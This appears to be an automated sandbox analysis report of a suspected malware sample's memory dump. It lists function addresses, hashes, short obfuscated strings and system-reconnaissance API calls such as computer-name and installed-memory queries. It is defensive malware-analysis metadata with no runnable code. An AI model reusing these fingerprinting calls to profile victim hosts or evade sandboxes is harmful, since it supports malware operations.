Opcode ID: bb4ecf429c7efec7b4fe574be1a7dfae409eda5ec1c1360cfda454b999cbf5fb
Instruction ID: 12446c1f821a492b401edbdf6d6ca7226b4bbaff008060ef33018fd5abc37217
Opcode Fuzzy Hash: bb4ecf429c7efec7b4fe574be1a7dfae409eda5ec1c1360cfda454b999cbf5fb
Instruction Fuzzy Hash: D8829975608381CFD314CF19D89076BB7E2FBC9314F198A2CE4999B291D778D905DB82

Uniqueness

Uniqueness Score: -1.00%

Function 00FC3943 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 643
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00FC451D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00FC4618

Strings

Z8J*, xrefs: 00FC4A1B
+u7, xrefs: 00FC4AE1

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: ComputerName
String ID: +u7$Z8J*
API String ID: 3545744682-3577212644
Opcode ID: feb8d747d02a13a17b750d6296a2a1b85becad8b51d5253c6abddd47704db047
Instruction ID: 2c72b683cc0d955220b4a3e78b14fb7d87b5b88ec8cd212395f6de53a889fbd7
Opcode Fuzzy Hash: feb8d747d02a13a17b750d6296a2a1b85becad8b51d5253c6abddd47704db047
Instruction Fuzzy Hash: 02328E70544B428AD729CF34C5A5BE3BBE1AF56308F08496CD0FB8B682D779B406DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4084 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 676
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00FC451D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00FC4618

Strings

P6D/, xrefs: 00FC451F

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: ComputerName
String ID: P6D/
API String ID: 3545744682-4117495492
Opcode ID: d1e7aea77d404fb7df50fada62a27834a9e8fa9a0e9326c549703aaf7e1f2b5f
Instruction ID: 0543c9ff70164de7b5f412da959e81619b43e2383313b0e6658e52494a5fe1fe
Opcode Fuzzy Hash: d1e7aea77d404fb7df50fada62a27834a9e8fa9a0e9326c549703aaf7e1f2b5f
Instruction Fuzzy Hash: 3B328E70504B828AD726CF34C9A5BE3BBE1AF16309F48496CD0FB8B682C7797446DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4087 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 650
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00FC451D

Strings

P6D/, xrefs: 00FC451F

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: ComputerName
String ID: P6D/
API String ID: 3545744682-4117495492
Opcode ID: b3c9f5e66fd42c04e0247cf6618c8761d832903a8342a93b2a0295ddf6c08234
Instruction ID: 5510db92b6732370b1fa8cfcf6f07a905eb2ef0f80165c22d949035f3da1709b
Opcode Fuzzy Hash: b3c9f5e66fd42c04e0247cf6618c8761d832903a8342a93b2a0295ddf6c08234
Instruction Fuzzy Hash: 3E329F70504B828AD726CF34C9A5BE3BBE1AF16309F48496CD0FB8B282D7797446DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00FA4740 Relevance: 5.5, Strings: 4, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IDAT, xrefs: 00FA4C05
IEND, xrefs: 00FA4C7E
IHDR, xrefs: 00FA4B89
), xrefs: 00FA47ED

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: dd5cc745976acf2800f3b518cbad5844d75a034384f3a585eb90186bad444e9d
Instruction ID: c61b306d9ad31dc8ffd20997c6daa32efec358ee2d4731f58280e9dee9bc3634
Opcode Fuzzy Hash: dd5cc745976acf2800f3b518cbad5844d75a034384f3a585eb90186bad444e9d
Instruction Fuzzy Hash: 1D1227B1A043848FD704CF28DC9076A7BE1EFC6314F15852DE9858B392D7B9E909DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FB5999 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

x, xrefs: 00FB59DA

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: bec9d8048992613d3b96c924eab7795ead352d6d96ffebb35e967b461cd8f497
Instruction ID: 16c8b92ee443c31427a33db748ac3d1f0972ff176245c586948ea1dfbe78d626
Opcode Fuzzy Hash: bec9d8048992613d3b96c924eab7795ead352d6d96ffebb35e967b461cd8f497
Instruction Fuzzy Hash: F571A2B15087818FD324CF25C89179BBBE1AFD5314F08892DE5D98B382D639D909DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00FBC540 Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

onqp, xrefs: 00FBC866

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 46c1775ff32eeb0d352ed1efd99dd5f1d194763ab7d4ae1367967cb48b34328d
Instruction ID: ada86e95345fc22cf848e97b4ddce910c01c5050af5e1d266c97350d80f21b53
Opcode Fuzzy Hash: 46c1775ff32eeb0d352ed1efd99dd5f1d194763ab7d4ae1367967cb48b34328d
Instruction Fuzzy Hash: 85A1E0B19042018BD714DF15C8A1BABB3E1FF91764F19491DE88687391E774E910EFD2

Uniqueness

Uniqueness Score: -1.00%

Function 00FD3CC0 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00FD8D36,005C003F,00000006,00120089,?,00000018,82818087,00000000,00FB4B5A), ref: 00FD3CED

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: 55ac59dd391c444f294bf55f0ba70b893d39d4cd1a7d385863437a3e191fe89f
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 59E0B675909216EBDA05DF44C54051EF7E2BFC4B14F55C88EE88433304C7B4AD45EA42

Uniqueness

Uniqueness Score: -1.00%

Function 00FB37C9 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

E&eb, xrefs: 00FB3787

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: E&eb
API String ID: 0-175690455
Opcode ID: f04caf18888ee5b634ead1fad84a79562bae8840c4abce1a4a0ee9e7d9ac46ae
Instruction ID: 639833500ecb746e3ec70f797cf5df1d3936b019c735c9646cad039c47eb344c
Opcode Fuzzy Hash: f04caf18888ee5b634ead1fad84a79562bae8840c4abce1a4a0ee9e7d9ac46ae
Instruction Fuzzy Hash: 6F3191B2A44B018BC725DF76CC81BA7B7E2EF89310F18892CD09AC7651EB75F5419B41

Uniqueness

Uniqueness Score: -1.00%

Function 00FC04B7 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ac4b503b8bb0a2366bbc4b875a438d16d67c83e7f675032e930ab3f6cef4b37
Instruction ID: 42433fb1b15e5122284ed30a0215b5636ec41ea3091cb1932d56cfa57eef73a6
Opcode Fuzzy Hash: 4ac4b503b8bb0a2366bbc4b875a438d16d67c83e7f675032e930ab3f6cef4b37
Instruction Fuzzy Hash: A0E169B4504B46CFD728CF24C995B27B7E5FB49304F14892DD4968BAA2EB38F806DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00FC0CA0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 360388dec3a16638f70d016d213f201edb378a2f1e47dd28d1668d3fc4d94dad
Instruction ID: ba6700a6498423048bf978346611b8b1968019720e8871ab1e2a9994c91a0c1c
Opcode Fuzzy Hash: 360388dec3a16638f70d016d213f201edb378a2f1e47dd28d1668d3fc4d94dad
Instruction Fuzzy Hash: D4C1D2B1A08342CFD314CF18C992B2BB7E1EB95324F284A2DF49587382D779D846D782

Uniqueness

Uniqueness Score: -1.00%

Function 00FD2010 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cc998470702d5cd2ed3fe61abe2fdb08a619e3dba38207cfcef0724958f1c9e
Instruction ID: 0e72cfade0a024a373bba73c1ebfb2fa169d4451af405ee6946fb776093e8273
Opcode Fuzzy Hash: 0cc998470702d5cd2ed3fe61abe2fdb08a619e3dba38207cfcef0724958f1c9e
Instruction Fuzzy Hash: 87A19B70600B418FE728CF18C994B17B7E6FB58304F18891DE5AA8BB91D775F905EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00FD3D10 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 17869769ee17407e9997250ba1d75dcd57ebbf6f245e56a4016c0fc613509f1d
Instruction ID: 621509000c7e6c05ee056669970e7a3f88ed05f5e9db8c483e27d25bcd447ebe
Opcode Fuzzy Hash: 17869769ee17407e9997250ba1d75dcd57ebbf6f245e56a4016c0fc613509f1d
Instruction Fuzzy Hash: 2B81AC70A083429BD318CF14C894B2BBBE2FB84768F28891DE5855B392C374DE45DB87

Uniqueness

Uniqueness Score: -1.00%

Function 00FC2458 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6188993119fe54b582981e868b38873023f0aad3fa1dda7c8b3ded7f818dfaa
Instruction ID: d9e92b36db10504719ffb74d9dcc3146dad94341a12e6c22a5d485b0ac5b9ebd
Opcode Fuzzy Hash: a6188993119fe54b582981e868b38873023f0aad3fa1dda7c8b3ded7f818dfaa
Instruction Fuzzy Hash: 9C5168746007128BC724CF28C8A1B66B3F1FF46314F188A5DD8968B7A1EB79B805DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00FD57CA Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3cab45a3fc4fe5e6a944bf8a1bb3cc5dda22061ca477091fb2895b86fe0c959
Instruction ID: bbf15ca33abbc4ead30ae8a4e1bc8a65f7841b3b7f8606552fa573f0131bba27
Opcode Fuzzy Hash: d3cab45a3fc4fe5e6a944bf8a1bb3cc5dda22061ca477091fb2895b86fe0c959
Instruction Fuzzy Hash: 034169709083429BE708CF04C994B2FB7E6FB95B19F58491DE0859B381D734DD06AB96

Uniqueness

Uniqueness Score: -1.00%

Function 00FD59E2 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa37468338c0ab4c4cd1abd11552b570c07026cd623e9531e7c0aab595530ec
Instruction ID: ca100cb98fc56e2304c42769038f42382cfae782e356c015ecd47c70b4491579
Opcode Fuzzy Hash: bfa37468338c0ab4c4cd1abd11552b570c07026cd623e9531e7c0aab595530ec
Instruction Fuzzy Hash: 24217C746083429BE310CF04C994B2FB7E2BBC1B08F288A1DF1949B395C779DC05AB96

Uniqueness

Uniqueness Score: -1.00%

Function 00FBD690 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00FBD77D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00FBD7A8

Strings

AV, xrefs: 00FBD6AF
X&, xrefs: 00FBD6BF
-^, xrefs: 00FBD6B7
SE, xrefs: 00FBD6A7

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&
API String ID: 237503144-3017178743
Opcode ID: c7503d08fb8fce3a25ec47dba6283aa8c38d039ec1b6221d94cfeb10613807f8
Instruction ID: 6c9d2abd2f90c0734a3a2d6960375772b2a1def0dc069048bad156753c6cc501
Opcode Fuzzy Hash: c7503d08fb8fce3a25ec47dba6283aa8c38d039ec1b6221d94cfeb10613807f8
Instruction Fuzzy Hash: 24717A702083918FE724CF15D8A0BABB7E1EFC6314F154A2DE8E95B280E7749945CB93

Uniqueness

Uniqueness Score: -1.00%

Function 00FB4950 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00FB499D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00FB49CE

Strings

2M#O, xrefs: 00FB49EC
r]Nm, xrefs: 00FB4B69
qrs, xrefs: 00FB4A04
<Y.[, xrefs: 00FB4A5E

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 2M#O$<Y.[$r]Nm$qrs
API String ID: 237503144-2765572984
Opcode ID: ca4e99c8f21348d4364cd97a6d920effd093dfb246e4776e88ba30a57a049701
Instruction ID: 239b5fbfddd5d14a054fff85795ed088b36e8f39299ecde0afd91b46b0dff6d3
Opcode Fuzzy Hash: ca4e99c8f21348d4364cd97a6d920effd093dfb246e4776e88ba30a57a049701
Instruction Fuzzy Hash: E851C0756083819BD720CF15C891BABB7E5EFC6324F054A1CF9958F382E7B4A801CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4AF5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 433
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00FC50BF

Strings

hFt=, xrefs: 00FC5203
